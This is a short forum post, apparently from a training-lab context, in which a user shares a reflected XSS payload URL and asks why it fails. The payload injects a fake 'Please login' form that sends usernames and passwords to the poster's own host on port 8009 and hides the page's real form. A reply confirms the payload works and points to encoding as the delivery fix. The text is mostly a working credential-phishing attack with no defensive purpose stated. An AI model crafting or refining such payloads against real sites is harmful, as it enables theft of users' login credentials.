XSS Phishing "Issue in sending URL!"

I do not understand why there is an issue with sending the URL, when sending on the online image viewer I receive the login details. My php code is correct and is set to port 8009. This is my URL:

http://SERVER-IP/phishing/index.php?url='><script>document.write('<h3>Please login to continue</h3><form action=http://"MY-IP:8009"><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();document.write('<!--');</script>'

Any reasons it wont work ??? Thanks

If you still are wondering and anyone else reading this encountering similar problem. The payload seems fine. Just need to think about the delivery in what form you send it as aka encoding.